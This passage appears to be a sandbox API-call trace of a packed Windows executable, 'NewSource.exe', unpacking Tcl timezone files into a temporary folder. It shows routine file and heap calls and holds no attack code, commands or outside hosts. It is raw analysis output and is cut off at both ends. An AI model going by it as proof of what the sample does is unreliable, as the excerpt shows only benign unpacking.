lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.313] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.313] GetFileType (hFile=0x10c) returned 0x1 [0040.313] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.313] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.313] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.313] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.313] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.313] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.313] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.313] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.313] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.313] CloseHandle (hObject=0x10c) returned 1 [0040.313] GetLastError () returned 0x0 [0040.313] SetLastError (dwErrCode=0x0) [0040.313] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.314] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.314] GetFileType (hFile=0x10c) returned 0x1 [0040.314] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.314] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.314] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.314] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.314] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.314] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.314] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.314] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.314] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.314] CloseHandle (hObject=0x10c) returned 1 [0040.314] GetLastError () returned 0x0 [0040.314] SetLastError (dwErrCode=0x0) [0040.314] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Muscat") returned 68 [0040.314] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Muscat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\muscat"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.314] GetLastError () returned 0x2 [0040.314] SetLastError (dwErrCode=0x2) [0040.314] GetLastError () returned 0x2 [0040.314] SetLastError (dwErrCode=0x2) [0040.314] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Muscat", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Muscat", lpFilePart=0x0) returned 0x43 [0040.314] GetLastError () returned 0x2 [0040.314] SetLastError (dwErrCode=0x2) [0040.314] GetLastError () returned 0x2 [0040.314] SetLastError (dwErrCode=0x2) [0040.314] GetLastError () returned 0x2 [0040.314] SetLastError (dwErrCode=0x2) [0040.315] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Muscat") returned 68 [0040.315] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Muscat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\muscat"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.315] GetFileType (hFile=0x10c) returned 0x1 [0040.315] htonl (hostlong=0x8f000000) returned 0x8f [0040.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.315] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x8f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x8f, lpOverlapped=0x0) returned 1 [0040.316] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.316] CloseHandle (hObject=0x10c) returned 1 [0040.316] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.316] htonl (hostlong=0x30000000) returned 0x30 [0040.316] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.316] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.316] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.316] GetFileType (hFile=0x10c) returned 0x1 [0040.316] htonl (hostlong=0x62015b00) returned 0x5b0162 [0040.316] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fb162, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.316] htonl (hostlong=0xdc050000) returned 0x5dc [0040.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5dc) returned 0x550600 [0040.316] htonl (hostlong=0xdc050000) returned 0x5dc [0040.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.317] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.317] htonl (hostlong=0xc81c0000) returned 0x1cc8 [0040.317] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cc8) returned 0x561090 [0040.317] htonl (hostlong=0xdc050000) returned 0x5dc [0040.317] htonl (hostlong=0xc81c0000) returned 0x1cc8 [0040.317] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d60 [0040.317] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d60 | out: hHeap=0x530000) returned 1 [0040.317] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.317] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.317] CloseHandle (hObject=0x10c) returned 1 [0040.317] GetLastError () returned 0x0 [0040.317] SetLastError (dwErrCode=0x0) [0040.317] GetLastError () returned 0x0 [0040.317] SetLastError (dwErrCode=0x0) [0040.317] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.317] GetFileType (hFile=0x10c) returned 0x1 [0040.317] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.317] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.317] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.317] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.318] CloseHandle (hObject=0x10c) returned 1 [0040.318] GetLastError () returned 0x0 [0040.318] SetLastError (dwErrCode=0x0) [0040.318] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.318] GetFileType (hFile=0x10c) returned 0x1 [0040.318] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.318] CloseHandle (hObject=0x10c) returned 1 [0040.318] GetLastError () returned 0x0 [0040.318] SetLastError (dwErrCode=0x0) [0040.318] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.318] GetFileType (hFile=0x10c) returned 0x1 [0040.318] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.319] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.319] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.319] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.319] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.319] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.319] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.319] CloseHandle (hObject=0x10c) returned 1 [0040.319] GetLastError () returned 0x0 [0040.319] SetLastError (dwErrCode=0x0) [0040.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Nicosia") returned 69 [0040.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Nicosia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\nicosia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.319] GetLastError () returned 0x2 [0040.319] SetLastError (dwErrCode=0x2) [0040.319] GetLastError () returned 0x2 [0040.319] SetLastError (dwErrCode=0x2) [0040.319] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Nicosia", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Nicosia", lpFilePart=0x0) returned 0x44 [0040.319] GetLastError () returned 0x2 [0040.319] SetLastError (dwErrCode=0x2) [0040.319] GetLastError () returned 0x2 [0040.319] SetLastError (dwErrCode=0x2) [0040.319] GetLastError () returned 0x2 [0040.319] SetLastError (dwErrCode=0x2) [0040.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Nicosia") returned 69 [0040.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Nicosia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\nicosia"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.320] GetFileType (hFile=0x10c) returned 0x1 [0040.320] htonl (hostlong=0xc81c0000) returned 0x1cc8 [0040.320] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.321] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.321] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcc8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcc8, lpOverlapped=0x0) returned 1 [0040.321] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.321] CloseHandle (hObject=0x10c) returned 1 [0040.321] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.321] htonl (hostlong=0x30000000) returned 0x30 [0040.321] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.321] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.321] GetFileType (hFile=0x10c) returned 0x1 [0040.321] htonl (hostlong=0x3e075b00) returned 0x5b073e [0040.321] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fb73e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.321] htonl (hostlong=0x2e020000) returned 0x22e [0040.321] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22e) returned 0x550600 [0040.321] htonl (hostlong=0x2e020000) returned 0x22e [0040.321] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.322] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.322] htonl (hostlong=0x34080000) returned 0x834 [0040.322] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x834) returned 0x55e278 [0040.322] htonl (hostlong=0x2e020000) returned 0x22e [0040.322] htonl (hostlong=0x34080000) returned 0x834 [0040.322] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.322] CloseHandle (hObject=0x10c) returned 1 [0040.322] GetLastError () returned 0x0 [0040.322] SetLastError (dwErrCode=0x0) [0040.322] GetLastError () returned 0x0 [0040.322] SetLastError (dwErrCode=0x0) [0040.322] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.322] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.322] GetFileType (hFile=0x10c) returned 0x1 [0040.322] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.322] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.322] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.322] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.322] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.322] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.322] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.322] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.322] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.322] CloseHandle (hObject=0x10c) returned 1 [0040.323] GetLastError () returned 0x0 [0040.323] SetLastError (dwErrCode=0x0) [0040.323] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.323] GetFileType (hFile=0x10c) returned 0x1 [0040.323] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.323] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.323] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.323] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: 